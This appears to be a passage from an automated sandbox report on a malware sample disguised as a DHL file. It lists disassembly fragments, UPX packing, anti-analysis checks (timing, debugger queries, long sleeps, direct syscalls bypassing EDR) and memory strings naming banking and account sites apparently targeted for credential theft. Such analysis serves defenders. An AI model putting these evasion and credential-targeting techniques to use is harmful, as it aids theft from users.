Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028C4D09 push edi; ret	6_2_028C4D24
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EE61EE push ecx; ret	6_2_02EE61F1
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EE51CA push edi; ret	6_2_02EE51CB
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EE46FA push F89E7CD4h; iretd	6_2_02EE46FF
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EE7490 push esi; ret	6_2_02EE74AD
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EEF491 push esi; retf	6_2_02EEF496
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EE75D0 push 2BEAA342h; iretd	6_2_02EE75DC
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EE0B07 push ss; ret	6_2_02EE0B08

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\DHL_734825510.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\DHL_734825510.exe	API/Special instruction interceptor: Address: E3BEFC
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E2D324
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E2D7E4
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E2D944
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E2D504
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E2D544
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E2D1E4
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E30154
Source: C:\Windows\SysWOW64\regini.exe	API/Special instruction interceptor: Address: 7FFEA3E2DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03AAD1C0 rdtsc

2_2_03AAD1C0

Source: C:\Windows\SysWOW64\regini.exe

Window / User API: threadDelayed 9839

Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\regini.exe	API coverage: 3.1 %

Source: C:\Windows\SysWOW64\regini.exe TID: 6952	Thread sleep count: 134 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe TID: 6952	Thread sleep time: -268000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe TID: 6952	Thread sleep count: 9839 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe TID: 6952	Thread sleep time: -19678000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe TID: 6960	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe TID: 6960	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe TID: 6960	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe TID: 6960	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe TID: 6960	Thread sleep time: -36000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\regini.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\regini.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\regini.exe

Code function: 6_2_028CC7B0 FindFirstFileW,FindNextFileW,FindClose,

6_2_028CC7B0

Source: 174EBI30.6.dr	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: 174EBI30.6.dr	Binary or memory string: discord.comVMware20,11696508427f
Source: 174EBI30.6.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: 174EBI30.6.dr	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: 174EBI30.6.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: 174EBI30.6.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d
Source: 174EBI30.6.dr	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: DHL_734825510.exe, 00000000.00000003.2350194950.0000000000F0D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareworkstation.exe1n-6
Source: 174EBI30.6.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: RsbLJIqaDYs.exe, 00000007.00000002.4816532169.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
Source: 174EBI30.6.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: 174EBI30.6.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: 174EBI30.6.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: 174EBI30.6.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: regini.exe, 00000006.00000002.4815970575.0000000002A7E000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000009.00000002.3063507738.0000013B9828C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 174EBI30.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: 174EBI30.6.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: 174EBI30.6.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: 174EBI30.6.dr	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: 174EBI30.6.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: 174EBI30.6.dr	Binary or memory string: global block list test formVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: 174EBI30.6.dr	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: 174EBI30.6.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: 174EBI30.6.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: 174EBI30.6.dr	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: 174EBI30.6.dr	Binary or memory string: AMC password management pageVMware20,11696508427

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03AAD1C0 rdtsc

2_2_03AAD1C0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417913 LdrLoadDll,

2_2_00417913

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A533A5 mov eax, dword ptr fs:[00000030h]	2_2_03A533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A633A0 mov eax, dword ptr fs:[00000030h]	2_2_03A633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A633A0 mov eax, dword ptr fs:[00000030h]	2_2_03A633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0539D mov eax, dword ptr fs:[00000030h]	2_2_03B0539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A mov eax, dword ptr fs:[00000030h]	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A mov eax, dword ptr fs:[00000030h]	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF3E6 mov eax, dword ptr fs:[00000030h]	2_2_03AEF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B053FC mov eax, dword ptr fs:[00000030h]	2_2_03B053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A663FF mov eax, dword ptr fs:[00000030h]	2_2_03A663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC3CD mov eax, dword ptr fs:[00000030h]	2_2_03AEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEB3D0 mov ecx, dword ptr fs:[00000030h]	2_2_03AEB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D mov eax, dword ptr fs:[00000030h]	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D mov eax, dword ptr fs:[00000030h]	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5F32A mov eax, dword ptr fs:[00000030h]	2_2_03A5F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A27330 mov eax, dword ptr fs:[00000030h]	2_2_03A27330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB930B mov eax, dword ptr fs:[00000030h]	2_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB930B mov eax, dword ptr fs:[00000030h]	2_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB930B mov eax, dword ptr fs:[00000030h]	2_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C310 mov ecx, dword ptr fs:[00000030h]	2_2_03A2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A50310 mov ecx, dword ptr fs:[00000030h]	2_2_03A50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF367 mov eax, dword ptr fs:[00000030h]	2_2_03AEF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD437C mov eax, dword ptr fs:[00000030h]	2_2_03AD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37370 mov eax, dword ptr fs:[00000030h]	2_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37370 mov eax, dword ptr fs:[00000030h]	2_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37370 mov eax, dword ptr fs:[00000030h]	2_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C mov eax, dword ptr fs:[00000030h]	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C mov eax, dword ptr fs:[00000030h]	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05341 mov eax, dword ptr fs:[00000030h]	2_2_03B05341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29353 mov eax, dword ptr fs:[00000030h]	2_2_03A29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29353 mov eax, dword ptr fs:[00000030h]	2_2_03A29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov ecx, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352 mov eax, dword ptr fs:[00000030h]	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC72A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC72A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov eax, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov eax, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov ecx, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov ecx, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05283 mov eax, dword ptr fs:[00000030h]	2_2_03B05283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6329E mov eax, dword ptr fs:[00000030h]	2_2_03A6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6329E mov eax, dword ptr fs:[00000030h]	2_2_03A6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B052E2 mov eax, dword ptr fs:[00000030h]	2_2_03B052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF2F8 mov eax, dword ptr fs:[00000030h]	2_2_03AEF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A292FF mov eax, dword ptr fs:[00000030h]	2_2_03A292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A392C5 mov eax, dword ptr fs:[00000030h]	2_2_03A392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A392C5 mov eax, dword ptr fs:[00000030h]	2_2_03A392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03A2B2D3
